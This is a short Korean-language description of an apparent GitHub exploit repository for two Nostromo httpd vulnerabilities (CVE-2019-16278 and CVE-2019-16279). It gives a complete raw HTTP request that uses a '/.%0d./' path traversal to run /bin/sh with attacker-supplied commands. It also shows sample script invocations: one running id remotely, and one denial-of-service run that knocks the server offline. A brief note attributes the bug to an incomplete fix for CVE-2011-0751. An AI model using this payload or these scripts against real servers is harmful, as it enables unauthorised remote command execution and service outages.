jas502n/cve-2019-16278디렉토리 횡단을 통한 원격 코드 실행
Nostromo httpd는 버전 1.9.6 이하에서 2개의 치명적인 취약점에 취약합니다(0day =]). 첫 번째는 디렉터리 트래버설을 통한 RCE이며, 두 번째는 DoS입니다.
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Length: 25
echo
echo
ifconfig 2>&1
이 버그는 CVE-2011-0751에 대한 불완전한 수정으로 인해 발생합니다. /../에 대한 검사를 우회하여 임의의 인수로 /bin/sh를 실행할 수 있습니다.
예제
$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)
이 버그는 단일 연결에 너무 많은 \r\n을 보낼 때 메모리 오류를 악용합니다.
예제
$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused